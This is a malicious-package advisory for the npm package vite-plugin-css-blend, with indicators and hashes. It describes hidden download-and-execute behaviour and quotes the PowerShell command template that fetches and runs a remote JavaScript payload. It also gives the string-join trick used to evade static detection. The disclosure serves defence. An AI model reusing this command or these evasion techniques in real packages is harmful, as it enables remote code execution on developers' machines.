vite-plugin-css-blend

{"modified":"2026-05-24T17:15:49Z","published":"2026-05-24T17:15:49Z","schema_version":"1.7.4","id":"MAL-2026-4706","summary":"Malicious code in vite-plugin-css-blend (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (7a47fa75fbd028d1aca89ca790036f760c76d8e486175505ef4a8f59f33e7c76)\nThe package is published as a Vite CSS plugin but exposes no Vite plugin API. Its documented `applyGlobalStyles({palette, accents})` export, when called on Windows, treats the caller-supplied `accents` and `palette` strings as an AES-256-CBC IV and ciphertext, decrypts them with a hardcoded key, and spawns `powershell.exe -WindowStyle Hidden -NoProfile -Command \"irm <decrypted-url> -o $env:TEMP\\s.js; node $env:TEMP\\s.js\"` — fetching and executing an attacker-controlled JavaScript payload via Node. The `node:crypto` and `node:child_process` modules are imported via string-array join (`[\"no\",\"de\",\":\",\"cry\",\"pto\"].join(\"\")`, `[\"no\",\"de\",\":\",\"chi\",\"ld\",\"_pro\",\"cess\"].join(\"\")`) to evade static import detection. The package further ships ~200 numbered no-op exports (e.g., `isWithinBoundary1..200`, `applyPreset1..150`, `createSequenceStep1..250`) as filler to camouflage the malicious export among legitimate-looking utilities, and its name baits developers searching the Vite ecosystem. Any consumer following the documented API on a Windows host triggers download-and-execute of arbitrary remote code.\n","affected":[{"package":{"ecosystem":"npm","name":"vite-plugin-css-blend"},"versions":["1.0.0"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"dist/index.js","sha256":"e8113412636bd5c602bc9cdd9f4f989947d8271899da7963a0411830b966f1ad","tlsh":"e9c3ffcab1a23132d32b686048bf018bf377dda0177e4481d159a2adb63441ea5b7f7d"},{"path":"package.json","sha256":"adb2dcdf06ad36894d9eb5eac3659a71a1a05c4fcb4636743b28c552d2437b95","tlsh":"32012b308520482307d90573aca81643aaa58d6f5644bc08379e402c4bde6ab41fe77d"}],"package_integrity":[{"filename":"vite-plugin-css-blend-1.0.0.tgz","hashes":{"sha1":"ba0320dec92a685a5a9ab6c00b33002cca7dba9f","sha512_sri":"sha512-jS+E8kmq4UNZjCMf3vl7zW7oAuFs1Ii0gftpuMnCJJ5n2Qm2xLUUEnkY0SxWY7/CFWwYlYSDC3oOh9b/cwTQDw=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/vite-plugin-css-blend/v/1.0.0"}],"credits":[{"name":"Amazon Inspector","type":"FINDER","contact":["actran@amazon.com"]}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-004520","import_time":"2026-05-26T05:52:45.958440733Z","modified_time":"2026-05-24T17:15:49Z","sha256":"7a47fa75fbd028d1aca89ca790036f760c76d8e486175505ef4a8f59f33e7c76","source":"amazon-inspector","versions":["1.0.0"]}]}}